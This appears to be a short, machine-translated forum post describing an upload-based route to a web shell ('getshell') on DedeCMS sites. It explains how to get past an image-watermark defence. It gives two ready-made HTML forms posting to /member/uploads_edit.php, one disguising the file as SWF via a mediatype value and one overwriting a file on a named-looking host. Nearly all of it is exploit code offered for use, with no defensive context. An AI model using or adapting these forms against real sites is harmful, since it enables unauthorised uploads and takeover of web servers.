Alternative submission methods for the dede getshell Vulnerability

A dede station. The latest version is added with an evil watermark when uploading images. After being added with a watermark, this PP will be discarded.
Solution:
1. Modify the suffix to SWF format and change mediatype ID to 2 (1 seems to be the image format, 2 is the SWF format
<Form action = "/member/uploads_edit.php" method = "post" enctype = "multipart/form-data" ">
<Input type = "hidden" name = "aid" value = "7"/>
<Input type = "hidden" name = "mediatype" value = "2"/>
<Input type = "text" name = "oldurl" value = "/uploads/userup/3/1.swf"/> </br>
<Input type = "hidden" name = "dopost" value = "save"/>
<Input name = "title" type = "hidden" id = "title" value = "1.swf" class =" intxt "/>
<Input name = "addonfile" type = "file" id = "addonfile"/>
<Button class = "button2" type = "submit"> change </button>
</Form>
The subsequent steps are the same as the previous ones.
2. for a simpler form, update the space LOGO when uploads_edit.php is deleted.
<Form action = "http://doc.xxxx.com/member/uploads_edit.php" method = "post" enctype = "multipart/form-data">
<Input type = "text" name = "oldurl" value = "z"/> </br>
<Input type = "hidden" name = "dopost" value = "save"/>
<Input name = "addonfile" type = "file"/>
<Input type = "submit" name = "submit" value = "Submit"/>
</Form>

 

Address: html> http://www.t00ls.net/thread-13663-1-1.html